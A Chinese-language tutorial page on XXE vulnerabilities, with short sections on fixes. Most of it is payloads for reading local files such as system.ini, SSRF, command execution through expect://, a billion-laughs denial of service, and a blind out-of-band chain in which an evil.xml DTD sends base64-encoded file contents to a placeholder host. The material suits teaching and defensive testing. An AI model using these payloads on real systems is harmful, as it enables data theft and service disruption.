XXE漏洞
XML基础知识













什么xxe漏洞?


xxe漏洞演示1




xxe漏洞演示2







xxe防御




Last updated






























Last updated
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name[
<!-- 指定义了一个名为name的元素,它可以包含任何内容(包括其他元素、文本、混合内容等)。 -->
<!ELEMENT name ANY >
<!-- 这定义了一个名为cs的实体,它的值是字符串"changsha"。实体可以在XML文档中通过&实体名;的形式被引用,以简化文本内容的输入或避免重复。 -->
<!ENTITY cs "changsha" >]>
<people>
<name>wuya</name>
<area>&cs;</area>
</people>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[<!ENTITY hacker "wuya test"> ]>
<name>&hacker;</name><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///E://in.txt"> ]>
<login>&xxe;</login><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[<!ENTITY xxe SYSTEM "http://127.0.0.1:3308"> ]>
<login>&xxe;</login><?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<root><name>&xxe;</name></root><?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>这段代码是通过%来定义实体,所以最后使用%实体名;来运行。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://2y0178.dnslog.cn">%remote;
]>paylaod:这一段是注入的xml攻击代码
首先外部实体file获取服务器指定的一个文件内容,外部实体dtd又加载了evil.xml文件。
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">
%dtd;
%send;
]>
其中evil.xml代码如下
首先定义了一个payload实体,其中%是%实体编码,即又定义了send外部实体,该实体会把file实体的加载的文件内容以get请求传入到自己所创建的网站中。
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
//%号要进行实体编码成%使用这个payload去获取微软敏感文件内容。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///C://Windows//system.ini"> ]>
<login>&xxe;</login>XXE漏洞修复方案
XXE漏洞归根结底在于XML文档解析引入外部实体,禁止加载外部实体。
使用安全的libxml依赖库,版本在2.9以上的版本
XXE漏洞总结
XXE漏洞产生在外部实体
主要有4个利用方向:文件读取,命令执行,DOS攻击,SSRF
按照有无回显可以分为两大类
无回显可以加载外部实体,返回数据到我们Vps上;或者加载本地实体报错回显